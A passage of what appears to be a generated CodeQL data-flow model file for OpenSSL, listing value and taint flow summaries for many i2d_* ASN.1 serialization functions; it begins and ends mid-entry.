*,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio", "(BIO *,CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, 